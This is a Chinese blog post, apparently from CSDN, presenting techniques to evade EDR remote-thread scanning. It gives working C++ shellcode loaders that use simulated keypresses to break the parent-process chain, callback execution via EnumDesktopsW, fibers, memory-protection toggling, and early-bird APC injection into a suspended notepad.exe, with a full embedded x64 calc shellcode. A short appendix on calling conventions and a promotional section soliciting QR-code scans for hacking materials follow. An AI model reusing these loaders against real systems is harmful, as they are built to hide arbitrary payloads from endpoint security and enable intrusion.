渗透测试 | EDR绕过远程线程扫描指南

前记

触发EDR远程线程扫描关键api:createprocesscreateremotethreadvoid(指针)、createthread

为了更加的opsec,尽量采取别的方式执行恶意代码,下面简单给出一些思路

想要进一步的了解渗透测试,内网渗透可以扫描下面二维码

 

进程断链

#include <windows.h>
#include<iostream>

void SimulateKeyPress(WORD keyCode) {
    INPUT inputs[2] = {};
    ZeroMemory(inputs, sizeof(inputs));
    inputs[0].type = INPUT_KEYBOARD;
    inputs[0].ki.wVk = keyCode;
    Sleep(500);
    inputs[1].type = INPUT_KEYBOARD;
    inputs[1].ki.dwFlags = KEYEVENTF_KEYUP;
    UINT uSent = SendInput(2, inputs, sizeof(INPUT));
}
int main()
{
    // 调用 ShellExecute 函数,执行一个命令
    HINSTANCE  hReturn = ShellExecuteA(NULL, "explore", "C:\\security\\tmp", NULL, NULL, SW_HIDE);//SW_RESTORE
    if ((int)hReturn < 32) {
        printf("0");
        return 0;
    }
    printf("% d", (int)hReturn);
    HWND hExplorer = FindWindowA("CabinetWClass", NULL);
    if (hExplorer) {
        // 将资源管理器窗口设置为前台窗口
        SetForegroundWindow(hExplorer);
    }
    else {
        printf("Explorer window not found.\n");
    }
    SimulateKeyPress(0x32);//这里以ascii为参数,实际为'2.exe'
    SimulateKeyPress(VK_RETURN);
    return 0;
}

通过模拟键盘点击,完成进程断链,父进程为explore

image-20240320170257008.png

进程断链相比于父进程欺骗更加安全,但是在核晶环境下会被禁止模拟键盘的行为

回调执行

回调可以很好的规避EDR对远程线程的内存扫描,举例如下

#include <windows.h>
#include<iostream>

//calc shellcode
unsigned char rawData[276] = {};
int main()
{
    LPVOID addr = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(addr, rawData, sizeof(rawData));
    EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW)addr, NULL);
    return 0;
}

纤程

纤程允许在单个线程中有多个执行流,每个执行流都有自己的寄存器状态和堆栈。另一方面,纤程对内核是不可见的,这使得它们成为一种比生成新线程更隐秘的内存代码执行方法。

#include <windows.h>

void like() {
    //calc shellcode
    unsigned char rawData[276] = {
        0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
        0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
        0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
        0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
        0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
        0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
        0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
        0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
        0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
        0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
        0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
        0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
        0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
        0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
        0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
        0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
        0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
        0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
        0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
        0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
        0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
        0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
    };
    LPVOID fiber = ConvertThreadToFiber(NULL);
    LPVOID Alloc = VirtualAlloc(NULL, sizeof(rawData), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    CopyMemory(Alloc, rawData, sizeof(rawData));
    LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)Alloc, NULL);
    SwitchToFiber(shellFiber);
}

int main() {
    like();
}

内存属性修改

内存属性修改流程:RW->NA->sleep->RW->NA->sleep->Rx->CreateThread->ResumeThread

让EDR扫描内存时处于无权限状态即可

early bird+Mapping

early bird,APC注入的变种

Mapping:内存映射

  • 创建一个挂起的进程(通常是windows的合法进程)

  • 在挂起的进程内申请一块可读可写可执行的内存空间

  • 往申请的空间内写入shellcode

  • 将APC插入到该进程的主线程

  • 恢复挂起进程的线程

#include <Windows.h>
#include <iostream>
#pragma comment (lib, "OneCore.lib")

void mymemcpy(void* dst, void* src, size_t size);
int main()
{
    //calc shellcode
    unsigned char rawData[276] = {
    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
    };
    LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe";
    STARTUPINFO sInfo = { 0 };
    PROCESS_INFORMATION pInfo = { 0 };
    sInfo.cb = sizeof(STARTUPINFO);

    CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, (LPSTARTUPINFOA)&sInfo, &pInfo);
    HANDLE hProc = pInfo.hProcess;
    HANDLE hThread = pInfo.hThread;

    HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(rawData), NULL);
    LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(rawData));
    mymemcpy(lpMapAddress, rawData, sizeof(rawData));
    LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProc, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

    QueueUserAPC(PAPCFUNC(lpMapAddressRemote), hThread, NULL);
    ResumeThread(hThread);
    CloseHandle(hThread);
    CloseHandle(hProc);
    CloseHandle(hMapping);
    UnmapViewOfFile(lpMapAddress);
    return 0;
}
void mymemcpy(void* dst, void* src, size_t size)
{
    char* psrc, * pdst;
    if (dst == NULL || src == NULL)
        return;
    if (dst <= src)
    {
        psrc = (char*)src;
        pdst = (char*)dst;
        while (size--)
            *pdst++ = *psrc++;
    }
    else
    {
        psrc = (char*)src + size - 1;
        pdst = (char*)dst + size - 1;
        while (size--) {
            *pdst-- = *psrc--;
        }
    }
}

后记

传参规则

#include<iostream>
using namespace std;
void func(int a, int b)
{
	cout << "func:\n";
	cout << "a = " << a << "\tb = " << b << endl;
}
int main(void)
{
	int v = 3;
	func(v, v++);
	cout << "v=" << v;
	v = 3;
	func(v, ++v);
	v = 3;
	func(++v, v);
	v = 3;
	func(v++, v);
	return 0;
}

func:
a = 3 b = 3
v=4
func:
a = 4 b = 4
func:
a = 4 b = 4
func:
a = 3 b = 3

函数声明区别

__cdecl:

C/C++默认方式,参数从右向左入栈,主调函数负责栈平衡。

__stdcall:

windows API默认方式,参数从右向左入栈,被调函数负责栈平衡。

__fastcall:

快速调用方式。所谓快速,这种方式选择将参数优先从寄存器传入(ECX和EDX),剩下的参数再从右向左从栈传入。

在x86下出现明显特征

19: 	func1(4, 5);//__cdecl
00981B31 6A 05                push        5  
00981B33 6A 04                push        4  
00981B35 E8 2D F7 FF FF       call        func1 (0981267h)  
00981B3A 83 C4 08             add         esp,8  
    20: 	func2(4, 5);//__stdcall
00981B3D 6A 05                push        5  
00981B3F 6A 04                push        4  
00981B41 E8 62 F7 FF FF       call        func2 (09812A8h)  
    21: 	func3(4, 5);//__fastcall
00981B46 BA 05 00 00 00       mov         edx,5  
00981B4B B9 04 00 00 00       mov         ecx,4  
00981B50 E8 2C F6 FF FF       call        func3 (0981181h)  

自实现copymemory

void mymemcpy(void* dst, void* src, size_t size)
{
    char* psrc, * pdst;
    if (dst == NULL || src == NULL)
        return;
    if (dst <= src)
    {
        psrc = (char*)src;
        pdst = (char*)dst;
        while (size--)
            *pdst++ = *psrc++;
    }
    else
    {
        psrc = (char*)src + size - 1;
        pdst = (char*)dst + size - 1;
        while (size--) {
            *pdst-- = *psrc--;
        }
    }
}

reference

https://www.cnblogs.com/fdxsec/p/17995030#1winexec
https://github.com/aahmad097/AlternativeShellcodeExec
https://xz.aliyun.com/t/11153?time__1311=mqmx0DyDcDn0e7KDsKoYKmc8KDC7KFD9BoD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-9

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

  • 2023届全国高校毕业生预计达到1158万人,就业形势严峻;
  • 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。 

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

 1.学习路线图 

 攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。 

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。 

 还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

 因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值